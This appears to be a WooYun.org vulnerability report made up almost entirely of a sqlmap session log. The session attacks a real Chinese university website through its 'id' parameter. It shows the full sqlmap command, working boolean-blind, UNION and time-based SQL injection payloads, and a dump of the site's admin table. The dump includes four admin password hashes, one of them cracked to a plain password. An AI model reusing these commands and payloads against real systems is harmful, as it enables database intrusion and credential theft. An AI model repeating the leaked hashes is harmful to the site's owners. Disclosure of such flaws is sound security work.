WooYun.org

sqlmap测试情况：
D:\Python27\sqlmap>sqlmap.py -u http://csxy.dgut.edu.cn/about.php?id=1 -D csxy_i
ndex -T dhu_admin -C "admin,pws" --dump
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 18:29:44
[18:29:44] [INFO] testing connection to the target URL
[18:29:44] [INFO] testing if the target URL is stable. This can take a couple of
seconds
[18:29:46] [INFO] target URL is stable
[18:29:46] [INFO] testing if GET parameter 'id' is dynamic
[18:29:46] [INFO] confirming that GET parameter 'id' is dynamic
[18:29:46] [INFO] GET parameter 'id' is dynamic
[18:29:47] [ERROR] possible integer casting detected (e.g. "$id=intval($_REQUEST
['id'])") at the back-end web application
do you want to skip those kind of cases (and save scanning time)? [y/N]
[18:29:49] [INFO] testing for SQL injection on GET parameter 'id'
[18:29:49] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[18:29:57] [INFO] GET parameter 'id' seems to be 'AND boolean-based blind - WHER
E or HAVING clause' injectable
[18:30:01] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[18:30:01] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[18:30:01] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[18:30:02] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[18:30:02] [INFO] testing 'MySQL inline queries'
[18:30:02] [INFO] testing 'PostgreSQL inline queries'
[18:30:02] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[18:30:02] [INFO] testing 'Oracle inline queries'
[18:30:02] [INFO] testing 'SQLite inline queries'
[18:30:02] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[18:30:02] [CRITICAL] there is considerable lagging in connection response(s). P
lease use as high value for option '--time-sec' as possible (e.g. 10 or more)
[18:30:02] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[18:30:03] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[18:30:03] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[18:30:14] [INFO] GET parameter 'id' seems to be 'MySQL > 5.0.11 AND time-based
blind' injectable
[18:30:14] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[18:30:14] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other (potential) technique found
[18:30:14] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for current UNION query injection technique test
[18:30:16] [INFO] target URL appears to have 8 columns in query
[18:30:21] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 20 colu
mns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any
)? [y/N]
sqlmap identified the following injection points with a total of 50 HTTP(s) requ
ests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1' AND 7800=7800 AND 'fPAl'='fPAl
Type: UNION query
Title: MySQL UNION query (NULL) - 8 columns
Payload: id=-1994' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x717375
6771,0x5a41447350754d417447,0x7172646171),NULL,NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id=1' AND SLEEP(5) AND 'jIqo'='jIqo
---
[18:30:34] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.2.17
back-end DBMS: MySQL 5.0.11
[18:30:34] [INFO] fetching columns 'admin, pws' for table 'dhu_admin' in databas
e 'csxy_index'
[18:30:35] [INFO] the SQL query used returns 2 entries
[18:30:35] [INFO] retrieved: "admin","varchar(200)"
[18:30:35] [INFO] retrieved: "pws","varchar(200)"
[18:30:36] [INFO] fetching entries of column(s) 'admin, pws' for table 'dhu_admi
n' in database 'csxy_index'
[18:30:36] [INFO] the SQL query used returns 4 entries
[18:30:36] [INFO] retrieved: "admin","6f0f1fbc66e5310e6f667d75e9717225"
[18:30:37] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://bugs.python.org/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
[18:30:37] [INFO] retrieved: "??","e01abc390b8359ebc6e39a335ecdc390"
[18:30:37] [INFO] retrieved: "??","e10adc3949ba59abbe56e057f20f883e"
[18:30:38] [INFO] retrieved: "???","1fde2e6603153eb32a2c95df999fa026"
[18:30:38] [INFO] analyzing table dump for possible password hashes
[18:30:38] [INFO] recognized possible password hashes in column 'pws'
do you want to store hashes to a temporary file for eventual further processing
with other tools [y/N]
do you want to crack them via a dictionary-based attack? [Y/n/q]
[18:30:42] [INFO] using hash method 'md5_generic_passwd'
what dictionary do you want to use?
[1] default dictionary file 'D:\Python27\sqlmap\txt\wordlist.zip' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
>
[18:30:42] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N]
[18:30:43] [INFO] starting dictionary-based cracking (md5_generic_passwd)
[18:30:43] [INFO] starting 4 processes
[18:30:44] [INFO] cracked password '123456' for hash 'e10adc3949ba59abbe56e057f2
0f883e'
[18:31:03] [INFO] postprocessing table dump
Database: csxy_index
Table: dhu_admin
[4 entries]
+-------------------------------------------+-------+
| pws | admin |
+-------------------------------------------+-------+
| 6f0f1fbc66e5310e6f667d75e9717225 | admin |
| e01abc390b8359ebc6e39a335ecdc390 | ?? |
| e10adc3949ba59abbe56e057f20f883e (123456) | ?? |
| 1fde2e6603153eb32a2c95df999fa026 | ??? |
+-------------------------------------------+-------+
[18:31:03] [INFO] table 'csxy_index.dhu_admin' dumped to CSV file 'D:\Python27\s
qlmap\output\csxy.dgut.edu.cn\dump\csxy_index\dhu_admin.csv'
[18:31:03] [INFO] fetched data logged to text files under 'D:\Python27\sqlmap\ou
tput\csxy.dgut.edu.cn'
[*] shutting down at 18:31:03